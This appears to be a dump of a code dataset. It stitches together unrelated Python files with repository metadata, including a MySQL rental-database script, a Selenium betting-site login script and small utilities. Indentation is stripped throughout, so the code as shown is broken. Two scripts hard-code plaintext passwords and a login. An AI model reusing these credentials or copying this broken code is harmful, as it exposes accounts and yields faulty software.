help(comando)
print(cor[0], end='')
sleep(2)
def titulo(msg, c=0):
tamanho = len(msg) + 4
print(cor[c], end='')
print('~' * tamanho)
print(f' {msg}')
print('~' * tamanho)
print(cor[0], end='')
sleep(1)
#Programa Principal
comando = ''
while True:
titulo('SISTEMA DE AJUDA PyHELP', 2)
comando = str(input("Função ou Biblioteca > "))
if comando.upper() == 'FIM':
break
else:
ajuda(comando)
titulo('ATÉ LOGO', 1)
| [
"rodrigojgrande@gmail.com"
] | rodrigojgrande@gmail.com |
efc52d8b10f9081ff6a555ce6d84839a77e88f05 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02973/s843936905.py | 1546a742a043329f3c3d9e840dbeb8dda98ec3c7 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 272 | py | from bisect import bisect_right
def main():
inf=float("inf")
n=int(input())
alst=[int(input()) for _ in range(n)]
work=[inf]*n
for i in range(n-1,-1,-1):
j=bisect_right(work,alst[i])
work[j]=alst[i]
print(n-work.count(inf))
main() | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
9771c5d379236811cc2517b042004d5534af8a1a | d73e252c9618ef7fad2434ab0c2f6cc51fe5aa8a | /Gestion location.py | 8f2ab09856cb47c8af7f2ad87c3e1265d02a241b | [] | no_license | HaticeKara/Location | 883d199ee64b65c50341f56d50f73bc0f3232bee | e57e2173049d2744df6b3b9267edc388c442dea9 | refs/heads/master | 2023-03-14T03:47:33.423032 | 2021-03-05T08:14:21 | 2021-03-05T08:14:21 | 344,445,771 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,680 | py | import mysql.connector
mydb = mysql.connector.connect(
host="localhost",
user="hatice",
password="Plmoplmo14*",
database="baseloc"
)
print(mydb)
mycursor = mydb.cursor()
# partie création et insertions :
mycursor.execute("CREATE TABLE Loyer (id_loyer int not null auto_increment primary key,type_logement varchar(3),mt_loyer smallint,frais smallint)")
sql = "INSERT INTO Loyer (type_logement,mt_loyer,frais) values (%s, %s,%s)"
val = [
('t1',450,30),
('t2',500,30),
('t3',600,30),
('t4',750,30),
('t1b',475,30)
]
mycursor.executemany(sql, val)
mydb.commit()
mycursor.execute("CREATE TABLE Individu(id_individu int not null auto_increment primary key,nom varchar(55) not null,prenom varchar(55) not null,date_naissance date,num_tel1 char(10),num_tel2 char(10))")
sql = "INSERT INTO Individu (nom,prenom,date_naissance,num_tel1)VALUES (%s, %s,%s, %s)"
val = [
('Thomas','Charles','19750202','0612326545'),
('Dudemaine','Marc','19600131','0678541232'),
('Chabert','Eric','19450504','0698563214'),
('Monatigne','Martha','19820615','0785422526'),
('Pullman','Lucie','19870916','0695658965')
]
mycursor.executemany(sql, val)
mydb.commit()
mycursor.execute("SELECT * FROM Individu")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
cursor.execute("CREATE TABLE Commune (id_commune int not null auto_increment primary key,nb_habitant int,distance_agence smallint,nom_commune varchar(50) not null,cp char(5))")
sql = "INSERT INTO Commune (nb_habitant, distance_agence,nom_commune, cp) values (%s,%s,%s,%s)"
val = [
(17565, 12,'Faches-Thumesnil','59255'),
(2104,20,'Capinghem','59160'),
(4068,12,'Hallennes-lez-Haubourdin','59320'),
(40246,8,'Marcq-en-Baroeul','59700'),
(21405,10,'Mons-en-Baroeul','59370')
]
mycursor.executemany(sql, val)
mydb.commit()
mycursor.execute("SELECT * FROM Commune")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
mycursor.execute("CREATE TABLE Logement (id_logement int not null auto_increment primary key,id_loyer int,superficie smallint,adresse varchar(255),id_commune int not null,CONSTRAINT fk_commune_id_commune FOREIGN KEY (id_commune) REFERENCES Commune(id_commune))")
sql = "INSERT INTO Logement (id_loyer,superficie,adresse,id_commune) values (%s,%s,%s,%s)"
val = [
(1, 25, '25 rue du molinel' ,1),
(2,35,'35 rue de Paris',2),
(4,60,'3 rue du port',3),
(3,65,'87 avenue de la République', 4),
(5,135,'15 boulevard Montebello',5)
]
mycursor.executemany(sql, val)
mydb.commit()
mycursor.execute("SELECT * FROM Logement")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
mycursor.execute("CREATE TABLE Location(id_location int not null auto_increment primary key,id_logement int not null,id_individu int not null,date_debut date,date_fin date, FOREIGN KEY (id_logement) REFERENCES Logement(id_logement) ,FOREIGN KEY (id_individu) REFERENCES Individu(id_individu))")
sql = "INSERT INTO Location (id_logement,id_individu, date_debut, date_fin) values (%s,%s,%s,%s)"
val=[
(1,1,'20181201','20200202'),
(2,1,'20200203','20220202'),
(3,2,'20160601','20200530'),
(4,5,'20200101','20201231'),
(5,4,'20190201','20231231')
]
mycursor.executemany(sql, val)
mydb.commit()
mycursor.execute("SELECT * FROM Location")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
#Partie Update
sql = "UPDATE Individu SET prenom = %s WHERE id_individu= %s"
val = ("Martin",1)
mycursor.execute(sql, val)
mydb.commit()
print(mycursor.rowcount, "record(s) affected")
mycursor.execute("SELECT * FROM Individu where id_individu = 1")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
sql = "UPDATE Loyer SET mt_loyer = %s WHERE id_loyer= %s"
val = (800,1)
mycursor.execute(sql, val)
mydb.commit()
print(mycursor.rowcount, "record(s) affected")
mycursor.execute("SELECT * FROM Loyer WHERE id_loyer= 1")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
sql = "UPDATE Commune SET distance_agence = %s WHERE id_commune= %s"
val = (8,1)
mycursor.execute(sql, val)
mydb.commit()
print(mycursor.rowcount, "record(s) affected")
mycursor.execute("SELECT * FROM Commune WHERE id_commune= 1")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
sql = "UPDATE Logement SET superficie = %s WHERE id_logement= %s"
val = (8,1)
mycursor.execute(sql, val)
mydb.commit()
print(mycursor.rowcount, "record(s) affected")
mycursor.execute("SELECT * FROM Logement WHERE id_logement= 1")
myresult = mycursor.fetchall()
for x in myresult:
print(x)
sql = "UPDATE Location SET date_debut = %s WHERE id_logement= %s"
val = ('20190101',1)
mycursor.execute(sql, val)
# partie suppression:
sql = "DELETE FROM Loyer WHERE id_loyer =1"
mycursor.execute(sql) | [
"hakara]msn.com"
] | hakara]msn.com |
7894bc2a90641898792873857f43f1459e677cc3 | 8017e94a8b1f1a0c0016e4012c75cdef93bfcb7d | /option_value.py | ab2ec040f771dd5dee6a12ad4120f51e740e3a93 | [] | no_license | cashpw/ibkr_utilities | 5ea23fc47b5c129d51ae33b081167cbb9bb67adc | 9f83e1167b28c143552930d0eac44a0e07eb407a | refs/heads/master | 2022-11-04T07:30:47.871721 | 2020-04-21T16:26:02 | 2020-04-21T16:26:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,248 | py | from typing import Callable
from decimal import Decimal, ROUND_HALF_DOWN
from ibkr_utilities.util.is_call import is_call
def calc_put_value(underlying_price: Decimal, strike_price: Decimal, multiplier: int) -> Decimal:
if underlying_price >= strike_price:
return 0
value = Decimal((strike_price - underlying_price) * multiplier)
return Decimal(value.quantize(Decimal('.01'), rounding=ROUND_HALF_DOWN))
def calc_call_value(underlying_price: Decimal, strike_price: Decimal, multiplier: int) -> Decimal:
if underlying_price <= strike_price:
return 0
value = Decimal((underlying_price - strike_price) * multiplier)
return Decimal(value.quantize(Decimal('.01'), rounding=ROUND_HALF_DOWN))
def build_option_value_fn(strike_price: Decimal, right: str, multiplier=100) -> Callable[[Decimal], Decimal]:
if is_call(right):
return lambda underlying_price: calc_call_value(
underlying_price=underlying_price,
strike_price=strike_price,
multiplier=multiplier,
)
else:
return lambda underlying_price: calc_put_value(
underlying_price=underlying_price,
strike_price=strike_price,
multiplier=multiplier,
)
| [
"cashbweaver@gmail.com"
] | cashbweaver@gmail.com |
8ce3cb6f85f98312fde277abfd989b11fe282013 | 09afc89edb1603e37cd49a0d97b18a461b7696fa | /wagerautobet.py | 10fc15d3d93a293bd814d5382ae79d86c3208eda | [] | no_license | reddyn12/pkt-bet | 16fd7f226a1fe4b244083e3d6c815a3e5a849902 | 208b582225e62fc36b4e12fb2df78edf44202d75 | refs/heads/master | 2023-02-23T14:54:45.904556 | 2021-02-01T02:28:41 | 2021-02-01T02:28:41 | 323,974,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 600 | py | from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
driver=webdriver.Chrome("/Users/Nikhil/Downloads/chromedriver")
driver.get('https://wagerwizard.ag/')
time.sleep(2)
user_box=driver.find_element_by_id("txtAccessOfCode")
user_box.send_keys("Kz41")
time.sleep(2)
pass_box=driver.find_element_by_id("txtAccessOfPassword")
pass_box.send_keys("will"+Keys.RETURN)
#time.sleep(5)
#cont_box=driver.find_element_by_name("ctl00$cphWorkArea$cmbCancel")
#cont_box.click()
time.sleep(5)
livebet_box=driver.find_element_by_class_name("liveBetting ")
livebet_box.click()
| [
"nikhilr.ssm@gmail.com"
] | nikhilr.ssm@gmail.com |
1e4fc798c9b1eea9a2fed8e6da85272fae6dbde1 | 88aa6628ebe431628947a55b5f42eceb0472c210 | /lmnet/lmnet/datasets/ytfaces.py | 89d0dfe17f75e080c972a5a41c7b37fb2c4fb791 | [
"Apache-2.0"
] | permissive | hadusam/blueoil | fa907aa94f764580948f3fb75381c6b82214e14b | ce8fc406126d98f68c9ff648d67e2bc85a9312d1 | refs/heads/master | 2021-06-19T15:14:59.173807 | 2020-02-05T03:18:02 | 2020-02-05T03:18:02 | 153,714,765 | 0 | 0 | Apache-2.0 | 2020-01-07T02:08:50 | 2018-10-19T02:22:21 | Python | UTF-8 | Python | false | false | 3,025 | py | # -*- coding: utf-8 -*-
# Copyright 2018 The Blueoil Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# =============================================================================
import os.path
import numpy as np
from lmnet.utils.image import load_image
from lmnet.datasets.base import KeypointDetectionBase
class YoutubeFacialLandmarks(KeypointDetectionBase):
"""Youtube Facial landmarks detection dataset. This dataset is taken from:
https://github.com/jerrychen44/face_landmark_detection_pytorch
"""
classes = ['face']
num_classes = len(classes)
available_subsets = ["train", "validation"]
extend_dir = "ytfaces"
def __init__(self, subset="train", batch_size=10, *args, **kwargs):
super().__init__(subset=subset, batch_size=batch_size, *args, **kwargs)
if subset == 'train':
self.csv = os.path.join(self.data_dir, "training_frames_keypoints.csv")
self.image_dir = os.path.join(self.data_dir, "training")
elif subset == 'validation':
self.csv = os.path.join(self.data_dir, "test_frames_keypoints.csv")
self.image_dir = os.path.join(self.data_dir, "test")
self.num_joints = 68
self.files, self.joints_list = self._load_csv()
def _load_csv(self):
"""Read items from JSON files"""
files = []
joints_list = []
num_dimensions = 2
with open(self.csv) as f:
# skip header line
f.readline()
for line in f:
filename, *landmarks = line.split(",")
abs_path = os.path.join(self.image_dir, filename)
joints = np.ones((self.num_joints, num_dimensions + 1), dtype=np.float32)
for i in range(self.num_joints):
joints[i, 0] = landmarks[i * 2 + 0]
joints[i, 1] = landmarks[i * 2 + 1]
files.append(abs_path)
joints_list.append(joints)
return files, joints_list
def __getitem__(self, item):
"""Get an item given index.
Args:
item: int, index.
Returns:
image: a numpy array of shape (height, width, 3).
joints: a numpy array of shape (68, 3), which has coordinates in image.
"""
return load_image(self.files[item]), self.joints_list[item]
def __len__(self):
return len(self.files)
@property
def num_per_epoch(self):
return len(self.files)
| [
"noreply@github.com"
] | noreply@github.com |
dc37ceb19cda10dcf2dedb5eb532af1094506b77 | dc4088c4a7dd12de8c92b792aed260a91391d699 | /OPR2/models.py | a49b1ea8348203ac34272025f2262e28aefcfed9 | [] | no_license | JustinD1/Public-Management-Metrics-Overhaul | ffb2fc3d531baf616cd721adaf0d38df0cab82ec | 62b5204043376f320231e0130f7f881ce1d6f17d | refs/heads/main | 2023-08-17T13:05:28.195742 | 2021-09-20T16:19:15 | 2021-09-20T16:19:15 | 408,504,288 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,749 | py | from django.core.validators import validate_comma_separated_integer_list
from django.db import models
from home.models import StoreSave, FileDate
class Document(models.Model):
def __str__(self):
return self.description
description = models.CharField(max_length=255)
document = models.FileField(upload_to='TEMP/opr/')
uploaded_at = models.DateTimeField(auto_now_add=True)
class OPRSave(models.Model):
def __str__(self):
return self.name
class Meta:
verbose_name = 'Section'
name = models.CharField(max_length=100, primary_key=True)
data_level = models.PositiveIntegerField(blank=True, null=True)
catagory_tree = models.CharField(validators=[validate_comma_separated_integer_list],max_length=11,default='')
class WeekSales(models.Model):
class Meta:
unique_together = ('date','section_name')
date = models.ForeignKey(FileDate, on_delete=models.CASCADE)
section_name = models.ForeignKey(OPRSave, on_delete=models.CASCADE)
sale = models.DecimalField(max_digits=11,decimal_places=4)
vat = models.DecimalField(max_digits=11,decimal_places=4)
part = models.DecimalField(max_digits=8,decimal_places=5)
margin = models.DecimalField(max_digits=11,decimal_places=4)
class YearSales(models.Model):
class Meta:
unique_together = ('date','section_name')
date = models.ForeignKey(FileDate, on_delete=models.CASCADE)
section_name = models.ForeignKey(OPRSave, on_delete=models.CASCADE)
sale = models.DecimalField(max_digits=11,decimal_places=4)
vat = models.DecimalField(max_digits=11,decimal_places=4)
part = models.DecimalField(max_digits=8,decimal_places=5)
margin = models.DecimalField(max_digits=11,decimal_places=4)
| [
"35259451+JustinD1@users.noreply.github.com"
] | 35259451+JustinD1@users.noreply.github.com |
abd5ee70aab65729e8f7fa743256471068ff8cf4 | 4d6975caece0acdc793a41e8bc6d700d8c2fec9a | /leetcode/856.consecutive-numbers-sum/856.consecutive-numbers-sum.py | e7d78eaedc4dc18c9eedb0691612ac16db60e37b | [] | no_license | guiconti/workout | 36a3923f2381d6e7023e127100409b3a2e7e4ccb | 5162d14cd64b720351eb30161283e8727cfcf376 | refs/heads/master | 2021-08-03T10:32:02.108714 | 2021-07-26T04:38:14 | 2021-07-26T04:38:14 | 221,025,113 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 76 | py | class Solution:
def consecutiveNumbersSum(self, N: int) -> int:
| [
"guibasconti@gmail.com"
] | guibasconti@gmail.com |
d8f453cbc8d6faf8544ab9e6c7c8f3f69eca3db6 | f445450ac693b466ca20b42f1ac82071d32dd991 | /generated_tempdir_2019_09_15_163300/generated_part007491.py | e36cb723cb2eaeafc9ed54508427de7131e5b47c | [] | no_license | Upabjojr/rubi_generated | 76e43cbafe70b4e1516fb761cabd9e5257691374 | cd35e9e51722b04fb159ada3d5811d62a423e429 | refs/heads/master | 2020-07-25T17:26:19.227918 | 2019-09-15T15:41:48 | 2019-09-15T15:41:48 | 208,357,412 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,598 | py | from sympy.abc import *
from matchpy.matching.many_to_one import CommutativeMatcher
from matchpy import *
from matchpy.utils import VariableWithCount
from collections import deque
from multiset import Multiset
from sympy.integrals.rubi.constraints import *
from sympy.integrals.rubi.utility_function import *
from sympy.integrals.rubi.rules.miscellaneous_integration import *
from sympy import *
class CommutativeMatcher25426(CommutativeMatcher):
_instance = None
patterns = {
0: (0, Multiset({}), [
(VariableWithCount('i2.1.1.2.2.2.1.0', 1, 1, S(1)), Mul),
(VariableWithCount('i2.2.1.0', 1, 1, None), Mul)
]),
1: (1, Multiset({}), [
(VariableWithCount('i2.1.1.2.2.2.1.0', 1, 1, S(1)), Mul),
(VariableWithCount('i2.2.1.1', 1, 1, None), Mul)
]),
2: (2, Multiset({}), [
(VariableWithCount('i2.1.1.2.2.2.1.0', 1, 1, S(1)), Mul),
(VariableWithCount('i2.3.1.0', 1, 1, None), Mul)
])
}
subjects = {}
subjects_by_id = {}
bipartite = BipartiteGraph()
associative = Mul
max_optional_count = 1
anonymous_patterns = set()
def __init__(self):
self.add_subject(None)
@staticmethod
def get():
if CommutativeMatcher25426._instance is None:
CommutativeMatcher25426._instance = CommutativeMatcher25426()
return CommutativeMatcher25426._instance
@staticmethod
def get_match_iter(subject):
subjects = deque([subject]) if subject is not None else deque()
subst0 = Substitution()
# State 25425
return
yield
from collections import deque | [
"franz.bonazzi@gmail.com"
] | franz.bonazzi@gmail.com |
c9313da804d7aecf76a596bfe962fe97f0c0b7ee | 807724d44167e401085ce57c7346ee6351d0cc71 | /__init__.py | de452d475b232ab89ee51274d3e6b9f1e09a7a1c | [] | no_license | jurecuhalev/pykpk | 86cf885986071bf7853c78d5e3cdc6cb08939e99 | 037c0c95ad233d4b06912c210cdc0abf2e9bef7c | refs/heads/master | 2022-03-09T04:39:39.621174 | 2012-12-26T01:36:10 | 2012-12-26T01:36:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,843 | py | ###
#
# Library for parsing http://supervizor.kpk-rs.si/
# Author: Jure Cuhalev - firstname @ lastname .com
#
# Released under the MIT License (MIT)
import requests
from urllib import urlencode
import json
from lxml import etree
from lxml.html.soupparser import fromstring
from lxml.cssselect import CSSSelector
URL = 'http://supervizor.kpk-rs.si'
def search(term, search_type='organ'):
if search_type == 'organ':
path = '/api/najdi_organ'
else:
path = '/api/najdi_prejem'
params = { 'term': term }
full_url = URL + path + '?' + urlencode(params)
data = requests.get(full_url)
return data
def get_organ(organ_id):
path = '/organ/%s/' % organ_id
data = requests.get(URL+path)
root = fromstring(data.text)
content = {}
# print etree.tostring(root)
sel = CSSSelector('section.company-info > h1')
content['company-info'] = sel(root)[0].text
#TODO - grab everything else
return content
def get_podj(podj_id):
pass
def get_organ_podj(organ_id, podj_id, text=None):
if not text:
path = '/organ/%s/podj/%s/' % (organ_id, podj_id)
data = requests.get(URL+path)
text = data.text
root = fromstring(text)
content = { 'sums-trans': [] }
sel = CSSSelector('#sums-trans tr')
sel_time = CSSSelector('time')
sel_sum = CSSSelector('.summonth')
for row in sel(root):
time_list = sel_time(row)
if not time_list:
continue
sum_datetime = time_list[0].attrib['datetime']
sum_month = float(sel_sum(row)[0].attrib['data-monthsum'])
content['sums-trans'].append({'datetime': sum_datetime, 'amount': sum_month})
return content
if __name__ == '__main__':
pass
# print search('EPK')
# print get_organ(38580)
# print get_organ_podj(38580, 56329245) | [
"gandalfar@gmail.com"
] | gandalfar@gmail.com |
332db90717d18029d34aa1bbca1ce2d43fdd2a1d | e495c3f9227d790f3c08a56c357f2a95c167ec9c | /zerojudge.tw/a780.py | 5d40bbaa97c9b43d36b1a9634123d570ef876590 | [] | no_license | InfiniteWing/Solves | 84d894d66588693c73ec1dcaebe3b8b148e1d224 | a0f8f09fac5e462d7d12a23ccd8414bd5ff8ffad | refs/heads/master | 2021-10-11T00:17:37.367776 | 2019-01-19T15:07:54 | 2019-01-19T15:07:54 | 103,742,356 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 361 | py | def main():
while True:
try:
s = input()
except EOFError:
break
o, e, a = float(s.split()[0]),float(s.split()[1]),float(s.split()[2])
if(o == 0 and e == 0 and a == 0):
break
m = o / e
f = a / m
print('{0:.2f}'.format(round(m,2)),'{0:.2f}'.format(round(f,2)))
main() | [
"sars6608@gmail.com"
] | sars6608@gmail.com |
6fe08fab4cb5d78ba2ddf7e43888c0428411ca74 | aa8bdae6990b82aa076d3d5337d139f4d14b1f1b | /zvm/__init__.py | 9f2d9fdd6e4d5e3adad766f3b0607556ff230ef4 | [
"BSD-3-Clause"
] | permissive | sussman/zvm | 0a804cf1e49e633a5c727249b8353b30756b22b6 | 10f1086b0718c0143395e8cd1494678679b8fc68 | refs/heads/master | 2023-04-09T00:00:50.899324 | 2023-04-04T23:10:30 | 2023-04-04T23:10:30 | 34,997,489 | 31 | 12 | BSD-3-Clause | 2023-04-04T23:10:31 | 2015-05-03T19:16:54 | Assembly | UTF-8 | Python | false | false | 114 | py | #
# For the license of this file, please consult the LICENSE file in the
# root directory of this distribution.
#
| [
"dave@localhost"
] | dave@localhost |
3eb16eee50afa7e9a078b79240a9518037fd7981 | d747a7dbdcc6a1cbc0ac2ea8c7133b460baf0d58 | /nudgebot/lib/github/reviewers_pool.py | 43a4c8074066d1a48a6288a7ddbf4956a777efc0 | [] | no_license | gshefer/NudgeBot-old | b422949f2b6d25c1fbb31302f90a055826ab1ec9 | b8924ddb353f9e22f3b03c4b8ca92c5d32d0f04b | refs/heads/master | 2021-09-12T21:17:14.648603 | 2018-04-20T23:56:05 | 2018-04-20T23:56:05 | 108,123,847 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,555 | py | import logging
from cached_property import cached_property
from config import config
from nudgebot.lib.github.users import ReviewerUser
from nudgebot.db import db
logging.basicConfig()
logger = logging.getLogger('ReviewersPoolLogger')
logger.setLevel(logging.INFO)
class ReviewersPool(object):
def __init__(self, repository):
self._repository = repository
self.reload_db()
@cached_property
def repository(self):
return self._repository
@property
def pool(self):
return self._pool
def get_reviewers(self, level=-1):
out = []
for login in self._pool:
if level == -1:
out.append(login)
elif self._pool[login]['level'] == level:
out.append(login)
return out
@property
def reviewers(self):
return self.get_reviewers()
def get_level(self, reviewer):
if reviewer not in self._pool:
# TODO: define appropriate exception
raise Exception('Reviewer not found in the pool: {}'.format(reviewer))
return self._pool[reviewer]['level']
def initialize(self):
logger.info('Initializing Reviewers pool of repository "{}"...'.format(self.repository.name))
repo_pulls = self._repository.get_pull_requests()
for level, logins in enumerate(self._repository.config.reviewers):
level += 1
for login in logins:
if login in self._pool:
self._pool[login]['level'] = level
else:
self._pool[login] = {'level': level, 'pull_requests': []}
for pull_request in repo_pulls:
for reviewer in pull_request.reviewers:
if reviewer.login not in self._pool:
continue
self.attach_pr_to_reviewer(reviewer.login, pull_request.number)
self.update_db()
def update_db(self):
# We are copying the dict in order to prevent the addition of '_id'
if not db().reviewers_pool.find_one():
db().reviewers_pool.insert_one(self._pool.copy())
return
db().reviewers_pool.update({}, self._pool.copy())
def reload_db(self):
pool = db().reviewers_pool.find_one({})
if pool:
del pool['_id']
self._pool = pool
else:
self._pool = {}
self.update_db()
def update_from_pr_stats(self, pr_stats):
"""Updating the pool from according to the pull request statistics"""
stat_reviewers = [r.login for r in pr_stats.reviewers()]
for login in self.reviewers:
pr_merged = pr_stats.pull_request.state != 'open'
already_attached = pr_stats.number() in self._pool[login]['pull_requests']
reviewer_was_set = login in stat_reviewers
if already_attached and (not reviewer_was_set or pr_merged):
self.attach_pr_to_reviewer(login, pr_stats.number(), detach=True)
elif not already_attached and reviewer_was_set:
self.attach_pr_to_reviewer(login, pr_stats.number())
def pull_reviewer(self, level, pull_request):
"""Pulling a reviewer and update the pool"""
# TODO: pull formula
reviewers = filter(lambda r: (r[0] not in pull_request.reviewers
and r[0] != pull_request.owner.login
and r[1]['level'] == level), self._pool.items())
reviewer = min(reviewers, key=lambda rev: len(rev[1]['pull_requests']))
if not reviewer:
raise Exception() # TODO: Define appropriate exception
if not config().config.testing_mode:
self.attach_pr_to_reviewer(reviewer[0], pull_request.number)
return ReviewerUser(reviewer[0])
def attach_pr_to_reviewer(self, reviewer_login, pull_request_number, detach=False):
pull_request_number = int(pull_request_number)
if reviewer_login not in self._pool:
raise Exception() # TODO: Define appropriate exception
already_attached = pull_request_number in self._pool[reviewer_login]['pull_requests']
if detach and already_attached:
self._pool[reviewer_login]['pull_requests'].remove(pull_request_number)
elif not detach and not already_attached:
self._pool[reviewer_login]['pull_requests'].append(pull_request_number)
self.update_db() # TODO: update the relevant field instead of update all
| [
"gshefer@redhat.com"
] | gshefer@redhat.com |
2dbe042275ad6bd1719cdfe946a9871dca51c1d0 | 41efbf79b5dc76a05b70a3e6e7c43e566df8feaf | /workbook_performance_checks.py | 8577c3b8857574bcdbcf7bca67df050a4c9863b8 | [] | no_license | kesireddyr/TabValidate | 73ba105069220ebaced3c37d1ff768cc169cc68e | a242c9b22bd64f95418b79d69518046976a14b4e | refs/heads/master | 2023-08-11T10:59:17.659406 | 2020-03-03T17:24:46 | 2020-03-03T17:24:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,173 | py | import argparse
import getpass
import logging
import time
from urllib.parse import quote
import tableauserverclient as TSC
import yaml
def main():
parser = argparse.ArgumentParser(description='Access to config.yml file')
parser.add_argument('--config-file', '-c', default='config.yml',
help='config file path. Default is config.yml')
args = parser.parse_args()
# Load yml config file
try:
with open(args.config_file, 'r') as ymlfile:
cfg = yaml.load(ymlfile, Loader=yaml.FullLoader)
except:
raise
if cfg['tableau_server']['password'] is None:
password = getpass.getpass("Password: ")
else:
password = cfg['tableau_server']['password']
# Set logging level based on user input, or error by default
logging_level = getattr(logging, cfg['logging_level'].upper())
logging.basicConfig(level=logging_level)
tableau_auth = TSC.TableauAuth(cfg['tableau_server']['username'],
password,
cfg['tableau_server']['site'])
server = TSC.Server(cfg['tableau_server']['server'], use_server_version=True)
with server.auth.sign_in(tableau_auth):
# Encode search tags to be url friendly
encoded_tags = []
search_tags = cfg['tags']['search_tag'].split(',')
for tag in search_tags:
encoded_tags.append(quote(tag, safe=''))
# Search for workbooks based on input tags
req_option = TSC.RequestOptions()
req_option.filter.add(TSC.Filter(TSC.RequestOptions.Field.Tags,
TSC.RequestOptions.Operator.In,
encoded_tags))
# For each wb found we will run a number of checks to determine if the
for wb in TSC.Pager(server.workbooks, req_option):
# flag to mark if the wb has been marked as rejected for migration
is_rejected = False
server.workbooks.populate_views(wb)
print("-------- Starting checks for wb: {0} --------".format(wb.name))
# CHECK 1: Validate that the number of views in the wb doesn't exceed the max views threshold
if len(wb.views) > int(cfg['performance_thresholds']['max_views']):
print("Number of Max Views exceeded {0} Rejecting workbook {1}".format(len(wb.views), wb.name))
reject_wb(wb, server, search_tags, cfg['tags']['reject_tag'])
is_rejected = True
# CHECK 2: render every view of the wb and validate against the maximum render time threshold
for view in wb.views:
if is_rejected:
break
print(" Evaluating: {0} ".format(view.name))
start_time = time.time()
# We have a number of different types and functions for each different export type.
# However, in this case what we want to do is just to populate the view without creating a physical file
# Therefore, we just unroll simulate the rendering of an image that we can call by using getattr()
# Note that we use image in order to be able to bypass the cache with the maxage parameter.
view_req_option = TSC.ImageRequestOptions(imageresolution=TSC.ImageRequestOptions.Resolution.High,
maxage=1)
server.views.populate_image(view, view_req_option)
getattr(view, "image")
elapsed_time = time.time() - start_time
print("----render time in seconds --- {0}".format(elapsed_time))
# Validate the execution time against designated treshold to render view
is_rejected = elapsed_time > int(cfg['performance_thresholds']['max_elapsed_time'])
# if the wb is poor performant we tag it as rejected
if is_rejected:
print("Maximum elapsed time exceeded {0} Rejecting workbook {1}".format(elapsed_time, wb.name))
reject_wb(wb, server, search_tags, cfg['tags']['reject_tag'])
def reject_wb(wb, server, search_tags, reject_tag):
"""Replace the search tag with a rejection tag to prevent wb to be migrated.
:param wb: workbook to be rejected
:param server: the current TSC server with session
:param search_tags: tags used for search
:param rejected_tag: tag to set to mark as rejected
:returns: True
"""
# remove the search tag to prevent migration
for tag in search_tags:
try:
wb.tags.remove(tag)
url = "{0}/{1}/tags/{2}".format(server.workbooks.baseurl, wb.id, quote(tag, safe=''))
server.workbooks.delete_request(url)
except Exception as e:
print(e)
pass
# set new tag to make it easy to identify. This new tag will be used by the workbook_best_practce_checks if used in conjunction
new_tag_set = set([reject_tag])
wb.tags = new_tag_set
server.workbooks.update(wb)
return True
if __name__ == '__main__':
main()
| [
"christian.silva.r@gmail.com"
] | christian.silva.r@gmail.com |
3a5679953ae1a0710355aaaecad60b3d96b36686 | dcf69d10c5719411a26be62feeaf29aadc86b825 | /Python/python_5.py | db4a4a0f16e06058ac59dfcab8964daa87663f54 | [] | no_license | nivarpG/Python-Assignments-1x | 19b0b3411960a3f5e1aa31482b85666ee9aa05c1 | eca3c2342cacdba97d3470c994177943d4c5c50b | refs/heads/master | 2021-05-11T18:39:52.701021 | 2018-01-17T12:45:34 | 2018-01-17T12:45:34 | 117,834,822 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 596 | py | a)
#program to print command line argument
#the Python sys module provides access to any command-line arguments via the sys.argv
import sys
#sys.argv is the list of command line arguments
print 'Argument List:' , str(sys.argv)
b)
#program to print biggest of three numbers via command line arguments
import sys
num1 = int(sys.argv[1])
num2 = int(sys.argv[2])
num3 = int(sys.argv[3])
if (num1 > num2) and (num1 > num3):
biggest = num1
elif (num2 > num1) and (num2 > num3):
biggest = num2
else:
biggest = num3
print("The biggest number is",biggest)
| [
"noreply@github.com"
] | noreply@github.com |
48d92ff3fd57d5db619c532d719d07d7c91d473e | 1cb6059209db6b4789762ab63873309a26a16a32 | /adhs/server.py | e3570d695107111629be21384310bb46d1075a6b | [] | no_license | kampfschlaefer/adhs | c1634a12f4ab9bf9035211752954729e4318d5d4 | 8aad2aa10ccc44e8e0f8dad76d11ffb8e9aa8c9b | refs/heads/master | 2021-01-20T02:20:31.981724 | 2014-08-05T21:20:23 | 2014-08-05T21:20:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,934 | py | # -*- coding: utf-8 -*-
import logging
import threading
import time
import zmq
class AdhsServer(object):
def __init__(self, data_socket='tcp://127.0.0.1:14005', pub_socket='tcp://127.0.0.1:14010'):
self.logger = logging.getLogger(self.__class__.__name__)
